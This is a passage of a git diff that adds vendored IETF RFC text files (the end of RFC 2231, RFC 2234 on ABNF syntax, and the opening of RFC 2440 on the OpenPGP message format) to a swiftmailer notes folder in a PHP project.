encoded-word := "=?" charset "?" encoding "?" encoded-text "?=" + + This specification changes this ABNF to: + + encoded-word := "=?" charset ["*" language] "?" encoded-text "?=" + +8. Character sets which allow specification of language + + In the future it is likely that some character sets will provide + facilities for inline language labeling. Such facilities are + inherently more flexible than those defined here as they allow for + language switching in the middle of a string. + + + + + + + +Freed & Moore Standards Track [Page 7] + +RFC 2231 MIME Value and Encoded Word Extensions November 1997 + + + If and when such facilities are developed they SHOULD be used in + preference to the language labeling facilities specified here. Note + that all the mechanisms defined here allow for the omission of + language labels so as to be able to accommodate this possible future + usage. + +9. Security Considerations + + This RFC does not discuss security issues and is not believed to + raise any security issues not already endemic in electronic mail and + present in fully conforming implementations of MIME. + +10. References + + [RFC-822] + Crocker, D., "Standard for the Format of ARPA Internet + Text Messages", STD 11, RFC 822 August 1982. + + [RFC-1766] + Alvestrand, H., "Tags for the Identification of + Languages", RFC 1766, March 1995. + + [RFC-2045] + Freed, N., and N. Borenstein, "Multipurpose Internet Mail + Extensions (MIME) Part One: Format of Internet Message + Bodies", RFC 2045, December 1996. + + [RFC-2046] + Freed, N. and N. Borenstein, "Multipurpose Internet Mail + Extensions (MIME) Part Two: Media Types", RFC 2046, + December 1996. + + [RFC-2047] + Moore, K., "Multipurpose Internet Mail Extensions (MIME) + Part Three: Representation of Non-ASCII Text in Internet + Message Headers", RFC 2047, December 1996. + + [RFC-2048] + Freed, N., Klensin, J. and J. Postel, "Multipurpose + Internet Mail Extensions (MIME) Part Four: MIME + Registration Procedures", RFC 2048, December 1996. + + [RFC-2049] + Freed, N. and N. Borenstein, "Multipurpose Internet Mail + Extensions (MIME) Part Five: Conformance Criteria and + Examples", RFC 2049, December 1996. + + + + + +Freed & Moore Standards Track [Page 8] + +RFC 2231 MIME Value and Encoded Word Extensions November 1997 + + + [RFC-2060] + Crispin, M., "Internet Message Access Protocol - Version + 4rev1", RFC 2060, December 1996. + + [RFC-2119] + Bradner, S., "Key words for use in RFCs to Indicate + Requirement Levels", RFC 2119, March 1997. + + [RFC-2130] + Weider, C., Preston, C., Simonsen, K., Alvestrand, H., + Atkinson, R., Crispin, M., and P. Svanberg, "Report from the + IAB Character Set Workshop", RFC 2130, April 1997. + + [RFC-2183] + Troost, R., Dorner, S. and K. Moore, "Communicating + Presentation Information in Internet Messages: The + Content-Disposition Header", RFC 2183, August 1997. + +11. Authors' Addresses + + Ned Freed + Innosoft International, Inc. + 1050 Lakes Drive + West Covina, CA 91790 + USA + + Phone: +1 626 919 3600 + Fax: +1 626 919 3614 + EMail: ned.freed@innosoft.com + + + Keith Moore + Computer Science Dept. + University of Tennessee + 107 Ayres Hall + Knoxville, TN 37996-1301 + USA + + EMail: moore@cs.utk.edu + + + + + + + + + + + + +Freed & Moore Standards Track [Page 9] + +RFC 2231 MIME Value and Encoded Word Extensions November 1997 + + +12. Full Copyright Statement + + Copyright (C) The Internet Society (1997). All Rights Reserved. + + This document and translations of it may be copied and furnished to + others, and derivative works that comment on or otherwise explain it + or assist in its implementation may be prepared, copied, published + and distributed, in whole or in part, without restriction of any + kind, provided that the above copyright notice and this paragraph are + included on all such copies and derivative works. However, this + document itself may not be modified in any way, such as by removing + the copyright notice or references to the Internet Society or other + Internet organizations, except as needed for the purpose of + developing Internet standards in which case the procedures for + copyrights defined in the Internet Standards process must be + followed, or as required to translate it into languages other than + English. + + The limited permissions granted above are perpetual and will not be + revoked by the Internet Society or its successors or assigns. + + This document and the information contained herein is provided on an + "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING + TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING + BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION + HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF + MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + + + + + + + + + + + + + + + + + + + + + + + + +Freed & Moore Standards Track [Page 10] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2234.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2234.txt new file mode 100644 index 00000000..edea302f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2234.txt @@ -0,0 +1,787 @@ + + + + + + +Network Working Group D. Crocker, Ed. +Request for Comments: 2234 Internet Mail Consortium +Category: Standards Track P. Overell + Demon Internet Ltd. + November 1997 + + + Augmented BNF for Syntax Specifications: ABNF + + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (1997). All Rights Reserved. + +TABLE OF CONTENTS + + 1. INTRODUCTION .................................................. 2 + + 2. RULE DEFINITION ............................................... 2 + 2.1 RULE NAMING .................................................. 2 + 2.2 RULE FORM .................................................... 3 + 2.3 TERMINAL VALUES .............................................. 3 + 2.4 EXTERNAL ENCODINGS ........................................... 5 + + 3. OPERATORS ..................................................... 5 + 3.1 CONCATENATION RULE1 RULE2 ............................. 5 + 3.2 ALTERNATIVES RULE1 / RULE2 ................................... 6 + 3.3 INCREMENTAL ALTERNATIVES RULE1 =/ RULE2 .................... 6 + 3.4 VALUE RANGE ALTERNATIVES %C##-## ........................... 7 + 3.5 SEQUENCE GROUP (RULE1 RULE2) ................................. 7 + 3.6 VARIABLE REPETITION *RULE .................................... 8 + 3.7 SPECIFIC REPETITION NRULE .................................... 8 + 3.8 OPTIONAL SEQUENCE [RULE] ..................................... 8 + 3.9 ; COMMENT .................................................... 8 + 3.10 OPERATOR PRECEDENCE ......................................... 9 + + 4. ABNF DEFINITION OF ABNF ....................................... 9 + + 5. SECURITY CONSIDERATIONS ....................................... 10 + + + + +Crocker & Overell Standards Track [Page 1] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + + 6. APPENDIX A - CORE ............................................. 11 + 6.1 CORE RULES ................................................... 11 + 6.2 COMMON ENCODING .............................................. 12 + + 7. ACKNOWLEDGMENTS ............................................... 12 + + 8. REFERENCES .................................................... 13 + + 9. CONTACT ....................................................... 13 + + 10. FULL COPYRIGHT STATEMENT ..................................... 14 + +1. INTRODUCTION + + Internet technical specifications often need to define a format + syntax and are free to employ whatever notation their authors deem + useful. Over the years, a modified version of Backus-Naur Form + (BNF), called Augmented BNF (ABNF), has been popular among many + Internet specifications. It balances compactness and simplicity, + with reasonable representational power. In the early days of the + Arpanet, each specification contained its own definition of ABNF. + This included the email specifications, RFC733 and then RFC822 which + have come to be the common citations for defining ABNF. The current + document separates out that definition, to permit selective + reference. Predictably, it also provides some modifications and + enhancements. + + The differences between standard BNF and ABNF involve naming rules, + repetition, alternatives, order-independence, and value ranges. + Appendix A (Core) supplies rule definitions and encoding for a core + lexical analyzer of the type common to several Internet + specifications. It is provided as a convenience and is otherwise + separate from the meta language defined in the body of this document, + and separate from its formal status. + +2. RULE DEFINITION + +2.1 Rule Naming + + The name of a rule is simply the name itself; that is, a sequence of + characters, beginning with an alphabetic character, and followed by + a combination of alphabetics, digits and hyphens (dashes). + + NOTE: Rule names are case-insensitive + + The names , , and all refer + to the same rule. + + + + +Crocker & Overell Standards Track [Page 2] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + + Unlike original BNF, angle brackets ("<", ">") are not required. + However, angle brackets may be used around a rule name whenever their + presence will facilitate discerning the use of a rule name. This is + typically restricted to rule name references in free-form prose, or + to distinguish partial rules that combine into a string not separated + by white space, such as shown in the discussion about repetition, + below. + +2.2 Rule Form + + A rule is defined by the following sequence: + + name = elements crlf + + where is the name of the rule, is one or more rule + names or terminal specifications and is the end-of- line + indicator, carriage return followed by line feed. The equal sign + separates the name from the definition of the rule. The elements + form a sequence of one or more rule names and/or value definitions, + combined according to the various operators, defined in this + document, such as alternative and repetition. + + For visual ease, rule definitions are left aligned. When a rule + requires multiple lines, the continuation lines are indented. The + left alignment and indentation are relative to the first lines of the + ABNF rules and need not match the left margin of the document. + +2.3 Terminal Values + + Rules resolve into a string of terminal values, sometimes called + characters. In ABNF a character is merely a non-negative integer. + In certain contexts a specific mapping (encoding) of values into a + character set (such as ASCII) will be specified. + + Terminals are specified by one or more numeric characters with the + base interpretation of those characters indicated explicitly. The + following bases are currently defined: + + b = binary + + d = decimal + + x = hexadecimal + + + + + + + + +Crocker & Overell Standards Track [Page 3] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + + Hence: + + CR = %d13 + + CR = %x0D + + respectively specify the decimal and hexadecimal representation of + [US-ASCII] for carriage return. + + A concatenated string of such values is specified compactly, using a + period (".") to indicate separation of characters within that value. + Hence: + + CRLF = %d13.10 + + ABNF permits specifying literal text string directly, enclosed in + quotation-marks. Hence: + + command = "command string" + + Literal text strings are interpreted as a concatenated set of + printable characters. + + NOTE: ABNF strings are case-insensitive and + the character set for these strings is us-ascii. + + Hence: + + rulename = "abc" + + and: + + rulename = "aBc" + + will match "abc", "Abc", "aBc", "abC", "ABc", "aBC", "AbC" and "ABC". + + To specify a rule which IS case SENSITIVE, + specify the characters individually. + + For example: + + rulename = %d97 %d98 %d99 + + or + + rulename = %d97.98.99 + + + + + +Crocker & Overell Standards Track [Page 4] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + + will match only the string which comprises only lowercased + characters, abc. + +2.4 External Encodings + + External representations of terminal value characters will vary + according to constraints in the storage or transmission environment. + Hence, the same ABNF-based grammar may have multiple external + encodings, such as one for a 7-bit US-ASCII environment, another for + a binary octet environment and still a different one when 16-bit + Unicode is used. Encoding details are beyond the scope of ABNF, + although Appendix A (Core) provides definitions for a 7-bit US-ASCII + environment as has been common to much of the Internet. + + By separating external encoding from the syntax, it is intended that + alternate encoding environments can be used for the same syntax. + +3. OPERATORS + +3.1 Concatenation Rule1 Rule2 + + A rule can define a simple, ordered string of values -- i.e., a + concatenation of contiguous characters -- by listing a sequence of + rule names. For example: + + foo = %x61 ; a + + bar = %x62 ; b + + mumble = foo bar foo + + So that the rule matches the lowercase string "aba". + + LINEAR WHITE SPACE: Concatenation is at the core of the ABNF + parsing model. A string of contiguous characters (values) is + parsed according to the rules defined in ABNF. For Internet + specifications, there is some history of permitting linear white + space (space and horizontal tab) to be freelyPand + implicitlyPinterspersed around major constructs, such as + delimiting special characters or atomic strings. + + NOTE: This specification for ABNF does not + provide for implicit specification of linear white + space. + + Any grammar which wishes to permit linear white space around + delimiters or string segments must specify it explicitly. It is + often useful to provide for such white space in "core" rules that are + + + +Crocker & Overell Standards Track [Page 5] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + + then used variously among higher-level rules. The "core" rules might + be formed into a lexical analyzer or simply be part of the main + ruleset. + +3.2 Alternatives Rule1 / Rule2 + + Elements separated by forward slash ("/") are alternatives. + Therefore, + + foo / bar + + will accept or . + + NOTE: A quoted string containing alphabetic + characters is special form for specifying alternative + characters and is interpreted as a non-terminal + representing the set of combinatorial strings with the + contained characters, in the specified order but with + any mixture of upper and lower case.. + +3.3 Incremental Alternatives Rule1 =/ Rule2 + + It is sometimes convenient to specify a list of alternatives in + fragments. That is, an initial rule may match one or more + alternatives, with later rule definitions adding to the set of + alternatives. This is particularly useful for otherwise- independent + specifications which derive from the same parent rule set, such as + often occurs with parameter lists. ABNF permits this incremental + definition through the construct: + + oldrule =/ additional-alternatives + + So that the rule set + + ruleset = alt1 / alt2 + + ruleset =/ alt3 + + ruleset =/ alt4 / alt5 + + is the same as specifying + + ruleset = alt1 / alt2 / alt3 / alt4 / alt5 + + + + + + + + +Crocker & Overell Standards Track [Page 6] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + +3.4 Value Range Alternatives %c##-## + + A range of alternative numeric values can be specified compactly, + using dash ("-") to indicate the range of alternative values. Hence: + + DIGIT = %x30-39 + + is equivalent to: + + DIGIT = "0" / "1" / "2" / "3" / "4" / "5" / "6" / + + "7" / "8" / "9" + + Concatenated numeric values and numeric value ranges can not be + specified in the same string. A numeric value may use the dotted + notation for concatenation or it may use the dash notation to specify + one value range. Hence, to specify one printable character, between + end of line sequences, the specification could be: + + char-line = %x0D.0A %x20-7E %x0D.0A + +3.5 Sequence Group (Rule1 Rule2) + + Elements enclosed in parentheses are treated as a single element, + whose contents are STRICTLY ORDERED. Thus, + + elem (foo / bar) blat + + which matches (elem foo blat) or (elem bar blat). + + elem foo / bar blat + + matches (elem foo) or (bar blat). + + NOTE: It is strongly advised to use grouping + notation, rather than to rely on proper reading of + "bare" alternations, when alternatives consist of + multiple rule names or literals. + + Hence it is recommended that instead of the above form, the form: + + (elem foo) / (bar blat) + + be used. It will avoid misinterpretation by casual readers. + + The sequence group notation is also used within free text to set off + an element sequence from the prose. + + + + +Crocker & Overell Standards Track [Page 7] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + +3.6 Variable Repetition *Rule + + The operator "*" preceding an element indicates repetition. The full + form is: + + *element + + where and are optional decimal values, indicating at least + and at most occurrences of element. + + Default values are 0 and infinity so that * allows any + number, including zero; 1* requires at least one; + 3*3 allows exactly 3 and 1*2 allows one or two. + +3.7 Specific Repetition nRule + + A rule of the form: + + element + + is equivalent to + + *element + + That is, exactly occurrences of . Thus 2DIGIT is a + 2-digit number, and 3ALPHA is a string of three alphabetic + characters. + +3.8 Optional Sequence [RULE] + + Square brackets enclose an optional element sequence: + + [foo bar] + + is equivalent to + + *1(foo bar). + +3.9 ; Comment + + A semi-colon starts a comment that continues to the end of line. + This is a simple way of including useful notes in parallel with the + specifications. + + + + + + + + +Crocker & Overell Standards Track [Page 8] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + +3.10 Operator Precedence + + The various mechanisms described above have the following precedence, + from highest (binding tightest) at the top, to lowest and loosest at + the bottom: + + Strings, Names formation + Comment + Value range + Repetition + Grouping, Optional + Concatenation + Alternative + + Use of the alternative operator, freely mixed with concatenations can + be confusing. + + Again, it is recommended that the grouping operator be used to + make explicit concatenation groups. + +4. ABNF DEFINITION OF ABNF + + This syntax uses the rules provided in Appendix A (Core). + + rulelist = 1*( rule / (*c-wsp c-nl) ) + + rule = rulename defined-as elements c-nl + ; continues if next line starts + ; with white space + + rulename = ALPHA *(ALPHA / DIGIT / "-") + + defined-as = *c-wsp ("=" / "=/") *c-wsp + ; basic rules definition and + ; incremental alternatives + + elements = alternation *c-wsp + + c-wsp = WSP / (c-nl WSP) + + c-nl = comment / CRLF + ; comment or newline + + comment = ";" *(WSP / VCHAR) CRLF + + alternation = concatenation + *(*c-wsp "/" *c-wsp concatenation) + + + + +Crocker & Overell Standards Track [Page 9] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + + concatenation = repetition *(1*c-wsp repetition) + + repetition = [repeat] element + + repeat = 1*DIGIT / (*DIGIT "*" *DIGIT) + + element = rulename / group / option / + char-val / num-val / prose-val + + group = "(" *c-wsp alternation *c-wsp ")" + + option = "[" *c-wsp alternation *c-wsp "]" + + char-val = DQUOTE *(%x20-21 / %x23-7E) DQUOTE + ; quoted string of SP and VCHAR + without DQUOTE + + num-val = "%" (bin-val / dec-val / hex-val) + + bin-val = "b" 1*BIT + [ 1*("." 1*BIT) / ("-" 1*BIT) ] + ; series of concatenated bit values + ; or single ONEOF range + + dec-val = "d" 1*DIGIT + [ 1*("." 1*DIGIT) / ("-" 1*DIGIT) ] + + hex-val = "x" 1*HEXDIG + [ 1*("." 1*HEXDIG) / ("-" 1*HEXDIG) ] + + prose-val = "<" *(%x20-3D / %x3F-7E) ">" + ; bracketed string of SP and VCHAR + without angles + ; prose description, to be used as + last resort + + +5. SECURITY CONSIDERATIONS + + Security is truly believed to be irrelevant to this document. + + + + + + + + + + + +Crocker & Overell Standards Track [Page 10] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + +6. APPENDIX A - CORE + + This Appendix is provided as a convenient core for specific grammars. + The definitions may be used as a core set of rules. + +6.1 Core Rules + + Certain basic rules are in uppercase, such as SP, HTAB, CRLF, + DIGIT, ALPHA, etc. + + ALPHA = %x41-5A / %x61-7A ; A-Z / a-z + + BIT = "0" / "1" + + CHAR = %x01-7F + ; any 7-bit US-ASCII character, + excluding NUL + + CR = %x0D + ; carriage return + + CRLF = CR LF + ; Internet standard newline + + CTL = %x00-1F / %x7F + ; controls + + DIGIT = %x30-39 + ; 0-9 + + DQUOTE = %x22 + ; " (Double Quote) + + HEXDIG = DIGIT / "A" / "B" / "C" / "D" / "E" / "F" + + HTAB = %x09 + ; horizontal tab + + LF = %x0A + ; linefeed + + LWSP = *(WSP / CRLF WSP) + ; linear white space (past newline) + + OCTET = %x00-FF + ; 8 bits of data + + SP = %x20 + + + +Crocker & Overell Standards Track [Page 11] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + + ; space + + VCHAR = %x21-7E + ; visible (printing) characters + + WSP = SP / HTAB + ; white space + +6.2 Common Encoding + + Externally, data are represented as "network virtual ASCII", namely + 7-bit US-ASCII in an 8-bit field, with the high (8th) bit set to + zero. A string of values is in "network byte order" with the + higher-valued bytes represented on the left-hand side and being sent + over the network first. + +7. ACKNOWLEDGMENTS + + The syntax for ABNF was originally specified in RFC 733. Ken L. + Harrenstien, of SRI International, was responsible for re-coding the + BNF into an augmented BNF that makes the representation smaller and + easier to understand. + + This recent project began as a simple effort to cull out the portion + of RFC 822 which has been repeatedly cited by non-email specification + writers, namely the description of augmented BNF. Rather than simply + and blindly converting the existing text into a separate document, + the working group chose to give careful consideration to the + deficiencies, as well as benefits, of the existing specification and + related specifications available over the last 15 years and therefore + to pursue enhancement. This turned the project into something rather + more ambitious than first intended. Interestingly the result is not + massively different from that original, although decisions such as + removing the list notation came as a surprise. + + The current round of specification was part of the DRUMS working + group, with significant contributions from Jerome Abela , Harald + Alvestrand, Robert Elz, Roger Fajman, Aviva Garrett, Tom Harsch, Dan + Kohn, Bill McQuillan, Keith Moore, Chris Newman , Pete Resnick and + Henning Schulzrinne. + + + + + + + + + + + +Crocker & Overell Standards Track [Page 12] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + +8. REFERENCES + + [US-ASCII] Coded Character Set--7-Bit American Standard Code for + Information Interchange, ANSI X3.4-1986. + + [RFC733] Crocker, D., Vittal, J., Pogran, K., and D. Henderson, + "Standard for the Format of ARPA Network Text Message," RFC 733, + November 1977. + + [RFC822] Crocker, D., "Standard for the Format of ARPA Internet Text + Messages", STD 11, RFC 822, August 1982. + +9. CONTACT + + David H. Crocker Paul Overell + + Internet Mail Consortium Demon Internet Ltd + 675 Spruce Dr. Dorking Business Park + Sunnyvale, CA 94086 USA Dorking + Surrey, RH4 1HN + UK + + Phone: +1 408 246 8253 + Fax: +1 408 249 6205 + EMail: dcrocker@imc.org paulo@turnpike.com + + + + + + + + + + + + + + + + + + + + + + + + + + +Crocker & Overell Standards Track [Page 13] + +RFC 2234 ABNF for Syntax Specifications November 1997 + + +10. Full Copyright Statement + + Copyright (C) The Internet Society (1997). All Rights Reserved. + + This document and translations of it may be copied and furnished to + others, and derivative works that comment on or otherwise explain it + or assist in its implementation may be prepared, copied, published + and distributed, in whole or in part, without restriction of any + kind, provided that the above copyright notice and this paragraph are + included on all such copies and derivative works. However, this + document itself may not be modified in any way, such as by removing + the copyright notice or references to the Internet Society or other + Internet organizations, except as needed for the purpose of + developing Internet standards in which case the procedures for + copyrights defined in the Internet Standards process must be + followed, or as required to translate it into languages other than + English. + + The limited permissions granted above are perpetual and will not be + revoked by the Internet Society or its successors or assigns. + + This document and the information contained herein is provided on an + "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING + TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING + BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION + HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF + MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + + + + + + + + + + + + + + + + + + + + + + + + +Crocker & Overell Standards Track [Page 14] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2440.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2440.txt new file mode 100644 index 00000000..902ecee4 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2440.txt @@ -0,0 +1,3642 @@ + + + + + +Network Working Group J. Callas +Request for Comments: 2440 Network Associates +Category: Standards Track L. Donnerhacke + IN-Root-CA Individual Network e.V. + H. Finney + Network Associates + R. Thayer + EIS Corporation + November 1998 + + + OpenPGP Message Format + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (1998). All Rights Reserved. + +IESG Note + + This document defines many tag values, yet it doesn't describe a + mechanism for adding new tags (for new features). Traditionally the + Internet Assigned Numbers Authority (IANA) handles the allocation of + new values for future expansion and RFCs usually define the procedure + to be used by the IANA. However, there are subtle (and not so + subtle) interactions that may occur in this protocol between new + features and existing features which result in a significant + reduction in over all security. Therefore, this document does not + define an extension procedure. Instead requests to define new tag + values (say for new encryption algorithms for example) should be + forwarded to the IESG Security Area Directors for consideration or + forwarding to the appropriate IETF Working Group for consideration. + +Abstract + + This document is maintained in order to publish all necessary + information needed to develop interoperable applications based on the + OpenPGP format. It is not a step-by-step cookbook for writing an + application. It describes only the format and methods needed to read, + check, generate, and write conforming packets crossing any network. + It does not deal with storage and implementation questions. It does, + + + +Callas, et. al. Standards Track [Page 1] + +RFC 2440 OpenPGP Message Format November 1998 + + + however, discuss implementation issues necessary to avoid security + flaws. + + Open-PGP software uses a combination of strong public-key and + symmetric cryptography to provide security services for electronic + communications and data storage. These services include + confidentiality, key management, authentication, and digital + signatures. This document specifies the message formats used in + OpenPGP. + +Table of Contents + + Status of this Memo 1 + IESG Note 1 + Abstract 1 + Table of Contents 2 + 1. Introduction 4 + 1.1. Terms 5 + 2. General functions 5 + 2.1. Confidentiality via Encryption 5 + 2.2. Authentication via Digital signature 6 + 2.3. Compression 7 + 2.4. Conversion to Radix-64 7 + 2.5. Signature-Only Applications 7 + 3. Data Element Formats 7 + 3.1. Scalar numbers 8 + 3.2. Multi-Precision Integers 8 + 3.3. Key IDs 8 + 3.4. Text 8 + 3.5. Time fields 9 + 3.6. String-to-key (S2K) specifiers 9 + 3.6.1. String-to-key (S2k) specifier types 9 + 3.6.1.1. Simple S2K 9 + 3.6.1.2. Salted S2K 10 + 3.6.1.3. Iterated and Salted S2K 10 + 3.6.2. String-to-key usage 11 + 3.6.2.1. Secret key encryption 11 + 3.6.2.2. Symmetric-key message encryption 11 + 4. Packet Syntax 12 + 4.1. Overview 12 + 4.2. Packet Headers 12 + 4.2.1. Old-Format Packet Lengths 13 + 4.2.2. New-Format Packet Lengths 13 + 4.2.2.1. One-Octet Lengths 14 + 4.2.2.2. Two-Octet Lengths 14 + 4.2.2.3. Five-Octet Lengths 14 + 4.2.2.4. Partial Body Lengths 14 + 4.2.3. Packet Length Examples 14 + + + +Callas, et. al. Standards Track [Page 2] + +RFC 2440 OpenPGP Message Format November 1998 + + + 4.3. Packet Tags 15 + 5. Packet Types 16 + 5.1. Public-Key Encrypted Session Key Packets (Tag 1) 16 + 5.2. Signature Packet (Tag 2) 17 + 5.2.1. Signature Types 17 + 5.2.2. Version 3 Signature Packet Format 19 + 5.2.3. Version 4 Signature Packet Format 21 + 5.2.3.1. Signature Subpacket Specification 22 + 5.2.3.2. Signature Subpacket Types 24 + 5.2.3.3. Signature creation time 25 + 5.2.3.4. Issuer 25 + 5.2.3.5. Key expiration time 25 + 5.2.3.6. Preferred symmetric algorithms 25 + 5.2.3.7. Preferred hash algorithms 25 + 5.2.3.8. Preferred compression algorithms 26 + 5.2.3.9. Signature expiration time 26 + 5.2.3.10.Exportable Certification 26 + 5.2.3.11.Revocable 27 + 5.2.3.12.Trust signature 27 + 5.2.3.13.Regular expression 27 + 5.2.3.14.Revocation key 27 + 5.2.3.15.Notation Data 28 + 5.2.3.16.Key server preferences 28 + 5.2.3.17.Preferred key server 29 + 5.2.3.18.Primary user id 29 + 5.2.3.19.Policy URL 29 + 5.2.3.20.Key Flags 29 + 5.2.3.21.Signer's User ID 30 + 5.2.3.22.Reason for Revocation 30 + 5.2.4. Computing Signatures 31 + 5.2.4.1. Subpacket Hints 32 + 5.3. Symmetric-Key Encrypted Session-Key Packets (Tag 3) 32 + 5.4. One-Pass Signature Packets (Tag 4) 33 + 5.5. Key Material Packet 34 + 5.5.1. Key Packet Variants 34 + 5.5.1.1. Public Key Packet (Tag 6) 34 + 5.5.1.2. Public Subkey Packet (Tag 14) 34 + 5.5.1.3. Secret Key Packet (Tag 5) 35 + 5.5.1.4. Secret Subkey Packet (Tag 7) 35 + 5.5.2. Public Key Packet Formats 35 + 5.5.3. Secret Key Packet Formats 37 + 5.6. Compressed Data Packet (Tag 8) 38 + 5.7. Symmetrically Encrypted Data Packet (Tag 9) 39 + 5.8. Marker Packet (Obsolete Literal Packet) (Tag 10) 39 + 5.9. Literal Data Packet (Tag 11) 40 + 5.10. Trust Packet (Tag 12) 40 + 5.11. User ID Packet (Tag 13) 41 + 6. Radix-64 Conversions 41 + + + +Callas, et. al. Standards Track [Page 3] + +RFC 2440 OpenPGP Message Format November 1998 + + + 6.1. An Implementation of the CRC-24 in "C" 42 + 6.2. Forming ASCII Armor 42 + 6.3. Encoding Binary in Radix-64 44 + 6.4. Decoding Radix-64 46 + 6.5. Examples of Radix-64 46 + 6.6. Example of an ASCII Armored Message 47 + 7. Cleartext signature framework 47 + 7.1. Dash-Escaped Text 47 + 8. Regular Expressions 48 + 9. Constants 49 + 9.1. Public Key Algorithms 49 + 9.2. Symmetric Key Algorithms 49 + 9.3. Compression Algorithms 50 + 9.4. Hash Algorithms 50 + 10. Packet Composition 50 + 10.1. Transferable Public Keys 50 + 10.2. OpenPGP Messages 52 + 10.3. Detached Signatures 52 + 11. Enhanced Key Formats 52 + 11.1. Key Structures 52 + 11.2. Key IDs and Fingerprints 53 + 12. Notes on Algorithms 54 + 12.1. Symmetric Algorithm Preferences 54 + 12.2. Other Algorithm Preferences 55 + 12.2.1. Compression Preferences 56 + 12.2.2. Hash Algorithm Preferences 56 + 12.3. Plaintext 56 + 12.4. RSA 56 + 12.5. Elgamal 57 + 12.6. DSA 58 + 12.7. Reserved Algorithm Numbers 58 + 12.8. OpenPGP CFB mode 58 + 13. Security Considerations 59 + 14. Implementation Nits 60 + 15. Authors and Working Group Chair 62 + 16. References 63 + 17. Full Copyright Statement 65 + +1. Introduction + + This document provides information on the message-exchange packet + formats used by OpenPGP to provide encryption, decryption, signing, + and key management functions. It builds on the foundation provided in + RFC 1991 "PGP Message Exchange Formats." + + + + + + + +Callas, et. al. Standards Track [Page 4] + +RFC 2440 OpenPGP Message Format November 1998 + + +1.1. Terms + + * OpenPGP - This is a definition for security software that uses + PGP 5.x as a basis. + + * PGP - Pretty Good Privacy. PGP is a family of software systems + developed by Philip R. Zimmermann from which OpenPGP is based. + + * PGP 2.6.x - This version of PGP has many variants, hence the term + PGP 2.6.x. It used only RSA, MD5, and IDEA for its cryptographic + transforms. An informational RFC, RFC 1991, was written + describing this version of PGP. + + * PGP 5.x - This version of PGP is formerly known as "PGP 3" in the + community and also in the predecessor of this document, RFC 1991. + It has new formats and corrects a number of problems in the PGP + 2.6.x design. It is referred to here as PGP 5.x because that + software was the first release of the "PGP 3" code base. + + "PGP", "Pretty Good", and "Pretty Good Privacy" are trademarks of + Network Associates, Inc. and are used with permission. + + This document uses the terms "MUST", "SHOULD", and "MAY" as defined + in RFC 2119, along with the negated forms of those terms. + +2. General functions + + OpenPGP provides data integrity services for messages and data files + by using these core technologies: + + - digital signatures + + - encryption + + - compression + + - radix-64 conversion + + In addition, OpenPGP provides key management and certificate + services, but many of these are beyond the scope of this document. + +2.1. Confidentiality via Encryption + + OpenPGP uses two encryption methods to provide confidentiality: + symmetric-key encryption and public key encryption. With public-key + encryption, the object is encrypted using a symmetric encryption + algorithm. Each symmetric key is used only once. A new "session key" + is generated as a random number for each message. Since it is used + + + +Callas, et. al. Standards Track [Page 5] + +RFC 2440 OpenPGP Message Format November 1998 + + + only once, the session key is bound to the message and transmitted + with it. To protect the key, it is encrypted with the receiver's + public key. The sequence is as follows: + + 1. The sender creates a message. + + 2. The sending OpenPGP generates a random number to be used as a + session key for this message only. + + 3. The session key is encrypted using each recipient's public key. + These "encrypted session keys" start the message. + + 4. The sending OpenPGP encrypts the message using the session key, + which forms the remainder of the message. Note that the message + is also usually compressed. + + 5. The receiving OpenPGP decrypts the session key using the + recipient's private key. + + 6. The receiving OpenPGP decrypts the message using the session key. + If the message was compressed, it will be decompressed. + + With symmetric-key encryption, an object may be encrypted with a + symmetric key derived from a passphrase (or other shared secret), or + a two-stage mechanism similar to the public-key method described + above in which a session key is itself encrypted with a symmetric + algorithm keyed from a shared secret. + + Both digital signature and confidentiality services may be applied to + the same message. First, a signature is generated for the message and + attached to the message. Then, the message plus signature is + encrypted using a symmetric session key. Finally, the session key is + encrypted using public-key encryption and prefixed to the encrypted + block. + +2.2. Authentication via Digital signature + + The digital signature uses a hash code or message digest algorithm, + and a public-key signature algorithm. The sequence is as follows: + + 1. The sender creates a message. + + 2. The sending software generates a hash code of the message. + + 3. The sending software generates a signature from the hash code + using the sender's private key. + + 4. The binary signature is attached to the message. + + + +Callas, et. al. Standards Track [Page 6] + +RFC 2440 OpenPGP Message Format November 1998 